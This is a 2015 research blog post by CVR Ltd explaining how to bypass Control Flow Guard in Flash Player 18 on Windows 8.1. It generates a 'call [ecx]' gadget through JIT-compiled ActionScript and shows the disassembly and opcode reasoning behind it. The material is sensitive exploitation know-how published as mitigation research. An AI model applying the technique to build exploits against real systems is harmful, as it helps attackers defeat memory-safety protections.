вторник, 7 июля 2015 г.

Advanced CFG Bypass on Adobe Flash Player 18 and Windows 8.1

Background


Control Flow Guard (CFG) was introduced in Adobe Flash Player in Windows 8.1 Update 3.  But CFG-compiled flash had vulnerability which allowed attacker to bypass this protection. Core Security Team found this flaw and nice method how to use it
This flaw existed because for  JIT-generated code CFG was not enabled.
On 9th of June  this vulnerability was  fixed with Flash Player 18.0.0.160 by enabling CFG for JIT-calls.


We made our analysis of this new protection and found that it is also possible to bypass it. The main goal of this research is bypass CFG and transfer control to controlled address.


Methodology



We created new class in ActionScript - ExploitClass  with few functions (func1, func2, func3) for our experiments. In the ExploitClass function func1 calls func2, func2 calls func3. We use three functions for simplification only, it is possible to use only one function.


 class ExploitClass {  
 
 function func1(arg1, arg2, … , argn) {  
  func2(arg1, arg2, …, argn);  
 } 
 
 function func2(arg1, arg2, … , argn) {  
   func3(arg1, arg2, …, argn )  
 }  

 function func3(arg1, arg2, … , argn) {  
  ...  
 } 
 }  




When we call one JIT-generated function from another JIT-generated function call is being checked by CFG. Every call of another JIT function in JIT-generated code looks like this



 56       push  esi  
 50       push  eax  
 51       push  ecx  
 8bc8      mov   ecx,eax  
 b840aa0f77   mov   eax, LdrpValidateUserCallTarget (770faa40)  
 ffd0      call  eax -> CFG check  
 59       pop   ecx  
 58       pop   eax  
 ffd0      call  eax -> call of validated function  
 83c410     add   esp,10h  



Block of parameters for function is being generated before CFG call and following validated function call. Let's look at instructions, which are used for saving parameters. They can look like this (instructions are provided with opcodes for clarity)


  8b5de0     mov   ebx,dword ptr [ebp-20h]  
 897d88     mov   dword ptr [ebp-78h],edi  
 8b7de8     mov   edi,dword ptr [ebp-18h]  
 89758c     mov   dword ptr [ebp-74h],esi  



or this



 8bbde8feffff  mov   edi,dword ptr [ebp-118h]  
 898df4feffff  mov   dword ptr [ebp-10Ch],ecx  
 8b8decfeffff  mov   ecx,dword ptr [ebp-114h]  
 89b5c0feffff  mov   dword ptr [ebp-140h],esi  



Our goal as we mentioned earlier, to transfer control to the controlled address.


Let's describe key points for bypassing CFG in Flash Player 18.


1. We can use one of the parameters of func2 as controlled address because arguments are saved in original state without any changes in stack and (in some cases) they are duplicated in registers.

We found that before call eax to func2 we can save one of the parameters in ecx register.



2. We found that we can't transfer control to any address (for instance, in Flash.ocx) except beginning of functions because this case is controlled by CFG. But in case of JIT functions we can transfer control to any part of any JIT function. In our situation it will be control transfer to the any part (any instruction) of func2. It is wiggle room for the exploitation.


But why it became possible?

TrendMicro's research described generation of CFGBitmap for allocated by NtAllocVirtualMemory executable memory (all bits will be set to '1').




It means, that this bug exists because of realization of CFG in Windows (nor in Flash Player). 


3.  Our idea is transfer control to any EIP-changing instruction (it can be add esp, X/ret, or as in this article - control transfer to ecx). This instruction can exist in JIT code in form of separate instruction or to be part of other instructions.

We decided to try to find any ecx-control-transfer instruction in JIT code (for instance call ecx, jmp ecx etc).

Let's describe how we got our instruction. In JIT code call ecx doesn't exist normally, but we can try to generate it via one big instruction or two separate ones. Call ecx opcode is FF D1. We found following options in our experimental module


  1. 33FF XOR EDI,EDI   
  D1F8    SAR EAX,1   
  2. 8B8D 04FFFFFF MOV ECX,DWORD PTR [EBP-FC]   
  D1E1    SHL ECX,1   
  3. 898D 70FFFFFF MOV DWORD PTR [EBP-90],ECX   
  D1EB    SHR EBX,1   
  4. 8D51 FF   LEA EDX,DWORD PTR DS:[ECX-1]   
  D1FE    SAR ESI,1   


Also, we found



  5. C785 00FFFFFF D1000000    MOV DWORD PTR [EBP-100],0D1   



Looks interesting, especially options with ebp-usage (2,3,5) as we know that Flash uses similar constructions for building  parameters block. Ideal option for us is 5, because one instruction is enough in this case.

But we noticed important thing, that different instructions(with different opcodes) can be used for saving parameters. For example



  C785 00FFFFFF 01000000    MOV DWORD PTR [EBP-100],1   
  C745 8C 01000000      MOV DWORD PTR [EBP-74],1   


First variation is good for us, because there is FF (we need FF in call ecx opcode). Why Flash select one type of instruction in one case and different in another one ?



 If in instruction  
 MOV DWORD PTR [EBP-X], N  
 X> 0x80, first variant will be generated  
 X<= 0x80, second one will be generated  


We can influence on X in JIT function via local variables, number of other functions calls inside JIT function, number of their parameters.

Using this information, we need to prepare func2 before call of func3 and force flash to use fist variant of opcode (we added more local variables, additional calls etc).

We tried something like this


 function func2(arg1, arg2,...,argn) {  
   var localvar1;  
   var localvar2;  
   ....  
   func3(arg1, arg2,...,0xD1,..., argn )  
 }  



in order to get MOV DWORD PTR [EBP-X],0D1 in parameters saving code. But, unfortunately, 0xD1 had been obfuscated by JIT compiler. Instead, we got something like 

 MOV EBX,18C731Eh  
 XOR EBX,18C73CFh ; EBX == 0D1h  
 MOV DWORD PTR [EBP-X],EBX  


Seems this idea wasn't successful, but we still have two alternative ones (2,3 options) with generating of two instructions. In the end of first one will be 0xff,   and in the beginning of second one will be 0xD1. We can use parameters manipulation  (or local variables) for 0xFF generation and shr, shl, sar instructions for 0xD1. We tried to do something like this in ActionScript


 any_var1 = any_var2<<1  

But instead of desired


 D1E2       SHL EDX,1  

we got the same instruction, but with alternative opcode (probably because it is easier to generate it).
 C1E201 SHL EDX, 1  

Ok, seems it is not our option again. But let's try to find alternatives. For instance, call [ecx]. This instruction's opcode is FF 11. When we tried following code

 function func2(arg1, arg2 ..., argn) {  
   var localvar1;  
   var localvar2;  
   ....  
   func3(arg1, arg2,...,0x11,... , argn)  
 }  

And we got instruction

  c78570ffffff11000000 mov dword ptr [ebp-90h],11h   

Bingo! 0x11  is not big number for JIT compiler and shouldn't be obfuscated. Obfuscation of numbers begins from 0x80. Numbers less than 0x80 will not be obfuscated.
Finally, after generation of JIT func2, we have ready call [ecx]. After exploit execution we can find address of func2 inside our object and change it to call [ecx] 's address in func2. After all manipulations after call func2 from func1 we will have transfer control to controlled address inside ecx with CFG bypass.

 126aed07 ff11      call  dword ptr [ecx]   ds:002b:42424242=????????  

in modern flash exploits we can easily put address with target address for control transfer to ecx. Then, we can transfer control to ROP using standard approach.
Following picture shows how to bypass new CFG protection in JIT code




Conclusion


Our approach was based on three key points.
1. It is possible to transfer control to any part of JIT-generated function despite CFG.
2. It is possible to control one of registers in func1 and fill it with one of parameters before call of func2.
3. Predictability of JIT-interpreter allows us to generate interesting control-transfer instruction.



Yurii Drozdov, Luidmila Drozdova

(C) CVR Ltd

Комментариев нет:

Отправить комментарий